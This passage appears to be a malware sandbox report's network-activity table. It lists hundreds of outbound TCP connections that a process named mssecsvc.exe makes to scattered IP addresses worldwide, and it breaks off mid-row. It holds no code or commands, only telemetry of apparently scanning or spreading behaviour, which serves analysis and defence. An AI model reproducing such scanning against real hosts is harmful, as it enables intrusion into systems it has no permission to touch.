Flag of China China 190.137.229.68 64507 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 18.251.133.53 64508 TCP mssecsvc.exe PID: 2368 Flag of United States United States 16.166.0.110 64509 TCP mssecsvc.exe PID: 2368 Flag of United States United States 151.90.247.10 64510 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 22.133.129.105 64511 TCP mssecsvc.exe PID: 2368 Flag of United States United States 151.191.149.89 64512 TCP mssecsvc.exe PID: 2368 Flag of United States United States 82.83.214.172 64513 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 201.19.18.144 64514 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 109.183.162.0 64515 TCP mssecsvc.exe PID: 2368 Flag of Czech Republic Czech Republic 69.126.103.173 64516 TCP mssecsvc.exe PID: 2368 Flag of United States United States 139.85.148.206 64517 TCP mssecsvc.exe PID: 2368 Flag of United States United States 7.16.239.67 64518 TCP mssecsvc.exe PID: 2368 Flag of United States United States 219.193.78.131 64519 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 168.106.176.71 64520 TCP mssecsvc.exe PID: 2368 Flag of Hong Kong Hong Kong 152.123.133.185 64521 TCP mssecsvc.exe PID: 2368 Flag of United States United States 168.116.55.209 64522 TCP mssecsvc.exe PID: 2368 Flag of United States United States 90.146.87.8 64523 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 212.166.90.187 64524 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 106.104.80.17 64525 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 199.79.144.208 64526 TCP mssecsvc.exe PID: 2368 Flag of United States United States 80.164.2.146 64527 TCP mssecsvc.exe PID: 2368 Flag of Denmark Denmark 222.183.209.150 64528 TCP mssecsvc.exe PID: 2368 Flag of China China 122.31.67.29 64529 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 44.80.120.117 64530 TCP mssecsvc.exe PID: 2368 Flag of United States United States 159.188.165.33 64531 TCP mssecsvc.exe PID: 2368 Flag of United States United States 103.32.145.154 64532 TCP mssecsvc.exe PID: 2368 Flag of China China 215.92.49.8 64533 TCP mssecsvc.exe PID: 2368 Flag of United States United States 20.84.109.135 64534 TCP mssecsvc.exe PID: 2368 Flag of United States United States 201.250.85.3 64535 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 100.237.238.60 64536 TCP mssecsvc.exe PID: 2368 Flag of United States United States 147.9.248.157 64537 TCP mssecsvc.exe PID: 2368 Flag of United States United States 33.66.182.242 64538 TCP mssecsvc.exe PID: 2368 Flag of United States United States 53.195.112.180 64539 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 153.71.55.237 64540 TCP mssecsvc.exe PID: 2368 Flag of United States United States 107.248.184.158 64541 TCP mssecsvc.exe PID: 2368 Flag of United States United States 141.136.181.159 64542 TCP mssecsvc.exe PID: 2368 Flag of Croatia (LOCAL Name: Hrvatska) Croatia (LOCAL Name: Hrvatska) 32.208.118.230 64543 TCP mssecsvc.exe PID: 2368 Flag of United States United States 56.78.45.60 64544 TCP mssecsvc.exe PID: 2368 Flag of United States United States 73.35.67.83 64545 TCP mssecsvc.exe PID: 2368 Flag of United States United States 5.122.151.201 64546 TCP mssecsvc.exe PID: 2368 Flag of Iran (ISLAMIC Republic Of) Iran (ISLAMIC Republic Of) 196.27.65.138 64547 TCP mssecsvc.exe PID: 2368 Flag of Mauritius Mauritius 211.93.22.111 64548 TCP mssecsvc.exe PID: 2368 Flag of China China 204.95.195.29 64549 TCP mssecsvc.exe PID: 2368 Flag of United States United States 58.197.210.197 64550 TCP mssecsvc.exe PID: 2368 Flag of China China 109.232.241.48 64551 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 75.173.144.205 64552 TCP mssecsvc.exe PID: 2368 Flag of United States United States 12.38.159.33 64553 TCP mssecsvc.exe PID: 2368 Flag of United States United States 93.238.163.215 64554 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 16.246.207.49 64555 TCP mssecsvc.exe PID: 2368 Flag of United States United States 47.175.55.164 64556 TCP mssecsvc.exe PID: 2368 Flag of United States United States 83.186.227.61 64557 TCP mssecsvc.exe PID: 2368 Flag of Sweden Sweden 206.182.99.216 64558 TCP mssecsvc.exe PID: 2368 Flag of United States United States 31.107.20.155 64559 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 104.229.105.227 64560 TCP mssecsvc.exe PID: 2368 Flag of United States United States 136.96.19.54 64561 TCP mssecsvc.exe PID: 2368 Flag of United States United States 174.207.38.230 64562 TCP mssecsvc.exe PID: 2368 Flag of United States United States 51.139.149.100 64563 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 14.73.43.77 64564 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 94.96.74.193 64565 TCP mssecsvc.exe PID: 2368 Flag of Saudi Arabia Saudi Arabia 27.106.206.243 64566 TCP mssecsvc.exe PID: 2368 Flag of China China 175.21.13.142 64567 TCP mssecsvc.exe PID: 2368 Flag of China China 219.176.124.168 64568 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 155.59.218.59 64569 TCP mssecsvc.exe PID: 2368 Flag of New Zealand New Zealand 215.172.118.176 64570 TCP mssecsvc.exe PID: 2368 Flag of United States United States 28.119.158.35 64571 TCP mssecsvc.exe PID: 2368 Flag of United States United States 2.173.137.231 64572 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 111.30.113.63 64573 TCP mssecsvc.exe PID: 2368 Flag of China China 81.48.112.21 64574 TCP mssecsvc.exe PID: 2368 Flag of France France 105.187.50.91 64575 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 47.28.51.98 64576 TCP mssecsvc.exe PID: 2368 Flag of United States United States 70.11.244.125 64577 TCP mssecsvc.exe PID: 2368 Flag of United States United States 167.0.224.119 64578 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 201.48.85.93 64579 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 1.33.88.12 64580 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 13.162.244.79 64581 TCP mssecsvc.exe PID: 2368 Flag of United States United States 192.155.152.61 64582 TCP mssecsvc.exe PID: 2368 Flag of United States United States 157.197.156.218 64583 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 186.68.167.210 64584 TCP mssecsvc.exe PID: 2368 Flag of Ecuador Ecuador 214.29.170.143 64585 TCP mssecsvc.exe PID: 2368 Flag of United States United States 208.174.93.123 64586 TCP mssecsvc.exe PID: 2368 Flag of United States United States 81.99.226.107 64587 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 220.74.133.87 64588 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 21.109.207.91 64589 TCP mssecsvc.exe PID: 2368 Flag of United States United States 51.83.70.191 64590 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 213.1.99.216 64591 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 201.153.185.82 64592 TCP mssecsvc.exe PID: 2368 Flag of Mexico Mexico 28.110.40.11 64593 TCP mssecsvc.exe PID: 2368 Flag of United States United States 46.67.206.170 64594 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 45.28.87.80 64595 TCP mssecsvc.exe PID: 2368 Flag of United States United States 19.233.0.229 64596 TCP mssecsvc.exe PID: 2368 Flag of United States United States 30.204.87.133 64597 TCP mssecsvc.exe PID: 2368 Flag of United States United States 15.113.218.72 64598 TCP mssecsvc.exe PID: 2368 Flag of United States United States 178.193.142.122 64599 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 179.119.8.251 64600 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 222.100.52.142 64601 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 203.231.233.179 64602 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 101.60.92.190 64603 TCP mssecsvc.exe PID: 2368 Flag of India India 133.72.225.140 64604 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 105.165.122.240 64606 TCP mssecsvc.exe PID: 2368 Flag of Kenya Kenya 191.175.23.203 64607 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 168.3.56.90 64608 TCP mssecsvc.exe PID: 2368 Flag of United States United States 170.3.160.37 64609 TCP mssecsvc.exe PID: 2368 Flag of United States United States 214.57.236.225 64610 TCP mssecsvc.exe PID: 2368 Flag of United States United States 222.203.204.146 64611 TCP mssecsvc.exe PID: 2368 Flag of China China 33.85.207.53 64612 TCP mssecsvc.exe PID: 2368 Flag of United States United States 169.139.22.180 64613 TCP mssecsvc.exe PID: 2368 Flag of United States United States 158.181.1.202 64614 TCP mssecsvc.exe PID: 2368 Flag of Kyrgyzstan Kyrgyzstan 96.22.191.185 64615 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 52.99.40.191 64616 TCP mssecsvc.exe PID: 2368 Flag of United States United States 18.34.143.176 64617 TCP mssecsvc.exe PID: 2368 Flag of United States United States 42.51.131.158 64618 TCP mssecsvc.exe PID: 2368 Flag of China China 183.208.174.35 64619 TCP mssecsvc.exe PID: 2368 Flag of China China 63.214.201.218 64620 TCP mssecsvc.exe PID: 2368 Flag of United States United States 129.107.71.37 64621 TCP mssecsvc.exe PID: 2368 Flag of United States United States 200.0.183.28 64622 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 92.100.51.134 64623 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 47.37.75.180 64624 TCP mssecsvc.exe PID: 2368 Flag of United States United States 208.86.194.122 64625 TCP mssecsvc.exe PID: 2368 Flag of United States United States 99.208.246.16 64626 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 90.72.167.116 64627 TCP mssecsvc.exe PID: 2368 Flag of France France 86.186.189.5 64628 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 41.231.151.96 64629 TCP mssecsvc.exe PID: 2368 Flag of Tunisia Tunisia 170.133.161.1 64630 TCP mssecsvc.exe PID: 2368 Flag of United States United States 201.3.9.160 64631 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 165.24.31.209 64632 TCP mssecsvc.exe PID: 2368 Flag of United States United States 49.48.37.133 64633 TCP mssecsvc.exe PID: 2368 Flag of Thailand Thailand 85.17.223.18 64634 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 84.136.67.249 64635 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 151.79.203.143 64636 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 2.149.174.204 64637 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 140.32.87.193 64638 TCP mssecsvc.exe PID: 2368 Flag of United States United States 185.161.179.14 64639 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 102.235.188.254 64640 TCP mssecsvc.exe PID: 2368 Flag of Egypt Egypt 210.120.186.248 64641 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 196.59.21.145 64642 TCP mssecsvc.exe PID: 2368 Flag of Seychelles Seychelles 206.60.103.4 64643 TCP mssecsvc.exe PID: 2368 Flag of United States United States 92.2.202.26 64644 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 75.40.59.190 64645 TCP mssecsvc.exe PID: 2368 Flag of United States United States 94.137.202.196 64647 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 117.37.70.219 64648 TCP mssecsvc.exe PID: 2368 Flag of China China 188.184.230.75 64649 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 22.142.226.44 64650 TCP mssecsvc.exe PID: 2368 Flag of United States United States 201.191.0.63 64651 TCP mssecsvc.exe PID: 2368 Flag of Costa Rica Costa Rica 109.205.171.204 64652 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 193.29.180.86 64653 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 143.177.52.34 64654 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 42.204.68.105 64655 TCP mssecsvc.exe PID: 2368 Flag of China China 55.84.146.115 64656 TCP mssecsvc.exe PID: 2368 Flag of United States United States 90.136.219.253 64657 TCP mssecsvc.exe PID: 2368 Flag of Sweden Sweden 66.107.128.124 64658 TCP mssecsvc.exe PID: 2368 Flag of United States United States 47.44.24.211 64659 TCP mssecsvc.exe PID: 2368 Flag of United States United States 174.237.193.27 64660 TCP mssecsvc.exe PID: 2368 Flag of United States United States 86.109.146.33 64661 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 214.124.208.244 64662 TCP mssecsvc.exe PID: 2368 Flag of United States United States 194.233.71.107 64663 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 71.195.253.44 64664 TCP mssecsvc.exe PID: 2368 Flag of United States United States 118.170.192.172 64665 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 99.226.225.89 64666 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 190.247.144.182 64667 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 31.63.90.168 64668 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 206.31.64.174 64669 TCP mssecsvc.exe PID: 2368 Flag of United States United States 103.250.143.223 64670 TCP mssecsvc.exe PID: 2368 Flag of Singapore Singapore 17.101.179.145 64671 TCP mssecsvc.exe PID: 2368 Flag of United States United States 142.223.14.24 64672 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 52.105.186.121 64673 TCP mssecsvc.exe PID: 2368 Flag of United States United States 116.246.94.76 64674 TCP mssecsvc.exe PID: 2368 Flag of China China 37.227.109.254 64675 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 212.10.7.79 64676 TCP mssecsvc.exe PID: 2368 Flag of Denmark Denmark 95.219.120.141 64677 TCP mssecsvc.exe PID: 2368 Flag of Saudi Arabia Saudi Arabia 57.109.43.208 64678 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 115.127.127.56 64679 TCP mssecsvc.exe PID: 2368 Flag of Bangladesh Bangladesh 129.218.245.226 64680 TCP mssecsvc.exe PID: 2368 Flag of United States United States 57.173.98.179 64681 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 162.62.66.18 64682 TCP mssecsvc.exe PID: 2368 Flag of China China 48.188.251.130 64683 TCP mssecsvc.exe PID: 2368 Flag of United States United States 112.115.189.139 64684 TCP mssecsvc.exe PID: 2368 Flag of China China 135.24.247.46 64685 TCP mssecsvc.exe PID: 2368 Flag of United States United States 48.123.251.139 64686 TCP mssecsvc.exe PID: 2368 Flag of United States United States 30.161.72.129 64687 TCP mssecsvc.exe PID: 2368 Flag of United States United States 199.182.177.89 64688 TCP mssecsvc.exe PID: 2368 Flag of United States United States 153.120.205.137 64689 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 74.242.187.129 64690 TCP mssecsvc.exe PID: 2368 Flag of United States United States 97.155.12.201 64691 TCP mssecsvc.exe PID: 2368 Flag of United States United States 45.94.98.234 64692 TCP mssecsvc.exe PID: 2368 Flag of United States United States 31.29.143.10 64693 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 41.217.253.242 64694 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 12.120.201.150 64695 TCP mssecsvc.exe PID: 2368 Flag of United States United States 6.102.199.202 64696 TCP mssecsvc.exe PID: 2368 Flag of United States United States 86.105.223.107 64697 TCP mssecsvc.exe PID: 2368 Flag of Romania Romania 6.252.74.41 64698 TCP mssecsvc.exe PID: 2368 Flag of United States United States 16.207.231.126 64699 TCP mssecsvc.exe PID: 2368 Flag of United States United States 137.232.133.248 64700 TCP mssecsvc.exe PID: 2368 Flag of United States United States 125.110.106.159 64701 TCP mssecsvc.exe PID: 2368 Flag of China China 89.31.141.22 64702 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 132.200.216.1 64703 TCP mssecsvc.exe PID: 2368 Flag of United States United States 33.74.214.213 64704 TCP mssecsvc.exe PID: 2368 Flag of United States United States 97.102.246.74 64706 TCP mssecsvc.exe PID: 2368 Flag of United States United States 221.109.4.245 64707 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 144.204.113.62 64708 TCP mssecsvc.exe PID: 2368 Flag of France France 181.4.31.27 64709 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 114.82.124.50 64710 TCP mssecsvc.exe PID: 2368 Flag of China China 123.87.93.67 64711 TCP mssecsvc.exe PID: 2368 Flag of China China 149.203.241.17 64712 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 166.158.57.227 64713 TCP mssecsvc.exe PID: 2368 Flag of United States United States 13.211.209.127 64714 TCP mssecsvc.exe PID: 2368 Flag of United States United States 45.119.115.200 64715 TCP mssecsvc.exe PID: 2368 Flag of India India 115.48.24.245 64716 TCP mssecsvc.exe PID: 2368 Flag of China China 137.152.198.106 64717 TCP mssecsvc.exe PID: 2368 Flag of United States United States 205.231.230.193 64718 TCP mssecsvc.exe PID: 2368 Flag of United States United States 179.7.157.240 64719 TCP mssecsvc.exe PID: 2368 Flag of Peru Peru 8.187.166.153 64720 TCP mssecsvc.exe PID: 2368 Flag of United States United States 13.45.218.203 64721 TCP mssecsvc.exe PID: 2368 Flag of United States United States 23.22.125.120 64722 TCP mssecsvc.exe PID: 2368 Flag of United States United States 137.134.15.150 64723 TCP mssecsvc.exe PID: 2368 Flag of United States United States 144.34.130.222 64724 TCP mssecsvc.exe PID: 2368 Flag of United States United States 83.253.41.50 64725 TCP mssecsvc.exe PID: 2368 Flag of Sweden Sweden 134.51.24.73 64726 TCP mssecsvc.exe PID: 2368 Flag of United States United States 41.13.78.31 64727 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 85.161.12.156 64728 TCP mssecsvc.exe PID: 2368 Flag of Czech Republic Czech Republic 166.108.185.188 64729 TCP mssecsvc.exe PID: 2368 Flag of United States United States 163.71.175.200 64730 TCP mssecsvc.exe PID: 2368 Flag of France France 143.230.162.88 64731 TCP mssecsvc.exe PID: 2368 Flag of United States United States 59.240.75.49 64732 TCP mssecsvc.exe PID: 2368 Flag of China China 114.165.249.94 64733 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 215.186.47.129 64734 TCP mssecsvc.exe PID: 2368 Flag of United States United States 141.187.97.133 64735 TCP mssecsvc.exe PID: 2368 Flag of United States United States 72.75.194.37 64736 TCP mssecsvc.exe PID: 2368 Flag of United States United States 162.175.46.20 64737 TCP mssecsvc.exe PID: 2368 Flag of United States United States 108.82.87.205 64738 TCP mssecsvc.exe PID: 2368 Flag of United States United States 27.243.183.109 64739 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 37.20.166.233 64740 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 116.20.123.180 64741 TCP mssecsvc.exe PID: 2368 Flag of China China 58.214.247.28 64742 TCP mssecsvc.exe PID: 2368 Flag of China China 119.239.163.144 64743 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 61.181.130.87 64744 TCP mssecsvc.exe PID: 2368 Flag of China China 88.88.206.171 64745 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 138.24.3.232 64746 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 97.48.210.237 64747 TCP mssecsvc.exe PID: 2368 Flag of United States United States 136.91.202.110 64748 TCP mssecsvc.exe PID: 2368 Flag of United States United States 133.249.176.64 64749 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 33.199.158.2 64750 TCP mssecsvc.exe PID: 2368 Flag of United States United States 9.178.26.207 64751 TCP mssecsvc.exe PID: 2368 Flag of United States United States 206.33.206.126 64752 TCP mssecsvc.exe PID: 2368 Flag of United States United States 94.111.192.14 64753 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 48.188.213.34 64754 TCP mssecsvc.exe PID: 2368 Flag of United States United States 98.226.230.6 64755 TCP mssecsvc.exe PID: 2368 Flag of United States United States 126.95.99.245 64756 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 81.82.200.51 64757 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 77.65.32.153 64758 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 8.177.160.185 64759 TCP mssecsvc.exe PID: 2368 Flag of United States United States 140.217.182.223 64760 TCP mssecsvc.exe PID: 2368 Flag of United States United States 11.218.142.180 64761 TCP mssecsvc.exe PID: 2368 Flag of United States United States 115.4.165.112 64762 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 5.136.26.211 64763 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 88.219.132.205 64764 TCP mssecsvc.exe PID: 2368 Flag of France France 101.12.62.74 64765 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 61.118.134.212 64766 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 73.111.184.254 64767 TCP mssecsvc.exe PID: 2368 Flag of United States United States 207.136.29.181 64768 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 195.104.53.122 64769 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 200.161.195.104 64770 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 71.198.148.146 64771 TCP mssecsvc.exe PID: 2368 Flag of United States United States 107.129.134.49 64772 TCP mssecsvc.exe PID: 2368 Flag of United States United States 163.15.26.215 64773 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 43.56.218.31 64774 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 218.170.0.45 64775 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 78.108.113.91 64776 TCP mssecsvc.exe PID: 2368 Flag of European Union European Union 126.59.178.162 64777 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 123.79.246.188 64778 TCP mssecsvc.exe PID: 2368 Flag of China China 44.74.242.7 64779 TCP mssecsvc.exe PID: 2368 Flag of United States United States 64.87.154.152 64780 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 42.197.163.232 64781 TCP mssecsvc.exe PID: 2368 Flag of China China 173.204.141.49 64782 TCP mssecsvc.exe PID: 2368 Flag of United States United States 17.27.115.102 64783 TCP mssecsvc.exe PID: 2368 Flag of United States United States 102.181.226.39 64784 TCP mssecsvc.exe PID: 2368 Flag of Cote D'ivoire Cote D'ivoire 178.187.160.217 64785 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 124.105.49.86 64786 TCP mssecsvc.exe PID: 2368 Flag of Philippines Philippines 93.117.102.96 64787 TCP mssecsvc.exe PID: 2368 Flag of Iran (ISLAMIC Republic Of) Iran (ISLAMIC Republic Of) 17.216.228.243 64788 TCP mssecsvc.exe PID: 2368 Flag of United States United States 208.143.190.248 64789 TCP mssecsvc.exe PID: 2368 Flag of United States United States 207.82.183.82 64790 TCP mssecsvc.exe PID: 2368 Flag of United States United States 198.124.20.73 64791 TCP mssecsvc.exe PID: 2368 Flag of United States United States 74.197.85.210 64792 TCP mssecsvc.exe PID: 2368 Flag of United States United States 182.204.76.89 64793 TCP mssecsvc.exe PID: 2368 Flag of China China 22.253.253.38 64794 TCP mssecsvc.exe PID: 2368 Flag of United States United States 196.105.53.121 64795 TCP mssecsvc.exe PID: 2368 Flag of Kenya Kenya 222.158.96.119 64796 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 133.142.74.54 64797 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 125.88.194.169 64798 TCP mssecsvc.exe PID: 2368 Flag of China China 193.229.239.90 64799 TCP mssecsvc.exe PID: 2368 Flag of Finland Finland 2.212.202.9 64800 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 123.102.42.34 64801 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 87.71.159.84 64802 TCP mssecsvc.exe PID: 2368 Flag of Israel Israel 177.251.53.51 64803 TCP mssecsvc.exe PID: 2368 Flag of Paraguay Paraguay 6.226.197.84 64804 TCP mssecsvc.exe PID: 2368 Flag of United States United States 31.212.205.44 64805 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 17.73.168.56 64806 TCP mssecsvc.exe PID: 2368 Flag of United States United States 114.49.193.42 64807 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 59.58.189.227 64808 TCP mssecsvc.exe PID: 2368 Flag of China China 38.116.26.147 64809 TCP mssecsvc.exe PID: 2368 Flag of United States United States 144.244.185.162 64810 TCP mssecsvc.exe PID: 2368 Flag of United States United States 82.11.16.127 64811 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 196.21.31.82 64812 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 80.150.51.95 64813 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 143.51.232.64 64814 TCP mssecsvc.exe PID: 2368 Flag of Finland Finland 93.133.219.92 64815 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 147.62.91.93 64816 TCP mssecsvc.exe PID: 2368 Flag of United States United States 104.220.88.26 64817 TCP mssecsvc.exe PID: 2368 Flag of United States United States 40.38.134.62 64818 TCP mssecsvc.exe PID: 2368 Flag of United States United States 107.100.112.184 64819 TCP mssecsvc.exe PID: 2368 Flag of United States United States 206.131.65.143 64820 TCP mssecsvc.exe PID: 2368 Flag of United States United States 105.249.107.84 64821 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 164.77.19.55 64822 TCP mssecsvc.exe PID: 2368 Flag of Chile Chile 60.43.220.58 64823 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 147.213.64.14 64824 TCP mssecsvc.exe PID: 2368 Flag of Slovakia (SLOVAK Republic) Slovakia (SLOVAK Republic) 61.155.83.237 64825 TCP mssecsvc.exe PID: 2368 Flag of China China 161.145.180.205 64826 TCP mssecsvc.exe PID: 2368 Flag of United States United States 193.87.133.24 64827 TCP mssecsvc.exe PID: 2368 Flag of Slovakia (SLOVAK Republic) Slovakia (SLOVAK Republic) 204.56.106.219 64828 TCP mssecsvc.exe PID: 2368 Flag of United States United States 181.244.159.191 64829 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 166.208.122.83 64830 TCP mssecsvc.exe PID: 2368 Flag of United States United States 48.48.237.142 64831 TCP mssecsvc.exe PID: 2368 Flag of United States United States 18.11.220.238 64832 TCP mssecsvc.exe PID: 2368 Flag of United States United States 7.47.181.172 64833 TCP mssecsvc.exe PID: 2368 Flag of United States United States 29.96.65.252 64834 TCP mssecsvc.exe PID: 2368 Flag of United States United States 112.166.198.215 64835 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 221.124.222.22 64836 TCP mssecsvc.exe PID: 2368 Flag of Hong Kong Hong Kong 177.183.91.115 64837 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 152.15.5.53 64838 TCP mssecsvc.exe PID: 2368 Flag of United States United States 151.101.7.233 64839 TCP mssecsvc.exe PID: 2368 Flag of United States United States 115.30.67.99 64840 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 13.11.242.240 64841 TCP mssecsvc.exe PID: 2368 Flag of United States United States 34.23.215.51 64842 TCP mssecsvc.exe PID: 2368 Flag of United States United States 159.233.165.30 64843 TCP mssecsvc.exe PID: 2368 Flag of United States United States 13.37.98.101 64844 TCP mssecsvc.exe PID: 2368 Flag of United States United States 30.131.28.77 64845 TCP mssecsvc.exe PID: 2368 Flag of United States United States 39.68.38.48 64846 TCP mssecsvc.exe PID: 2368 Flag of China China 196.81.193.184 64847 TCP mssecsvc.exe PID: 2368 Flag of Morocco Morocco 209.216.208.23 64848 TCP mssecsvc.exe PID: 2368 Flag of United States United States 101.186.131.65 64849 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 140.85.217.49 64851 TCP mssecsvc.exe PID: 2368 Flag of Sweden Sweden 23.62.18.61 64852 TCP mssecsvc.exe PID: 2368 Flag of United States United States 102.222.103.172 64853 TCP mssecsvc.exe PID: 2368 Flag of Egypt Egypt 117.249.3.106 64854 TCP mssecsvc.exe PID: 2368 Flag of India India 184.122.166.147 64855 TCP mssecsvc.exe PID: 2368 Flag of United States United States 135.189.3.5 64856 TCP mssecsvc.exe PID: 2368 Flag of United States United States 7.11.213.2 64857 TCP mssecsvc.exe PID: 2368 Flag of United States United States 29.89.139.3 64858 TCP mssecsvc.exe PID: 2368 Flag of United States United States 150.190.72.189 64859 TCP mssecsvc.exe PID: 2368 Flag of United States United States 22.253.62.247 64860 TCP mssecsvc.exe PID: 2368 Flag of United States United States 189.95.46.12 64861 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 4.166.133.20 64862 TCP mssecsvc.exe PID: 2368 Flag of United States United States 146.13.12.228 64863 TCP mssecsvc.exe PID: 2368 Flag of United States United States 52.22.3.95 64864 TCP mssecsvc.exe PID: 2368 Flag of United States United States 194.235.199.18 64865 TCP mssecsvc.exe PID: 2368 Flag of European Union European Union 155.97.237.58 64866 TCP mssecsvc.exe PID: 2368 Flag of United States United States 83.169.213.143 64867 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 125.38.103.57 64868 TCP mssecsvc.exe PID: 2368 Flag of China China 2.153.141.92 64869 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 190.32.65.141 64870 TCP mssecsvc.exe PID: 2368 Flag of Panama Panama 102.148.59.221 64871 TCP mssecsvc.exe PID: 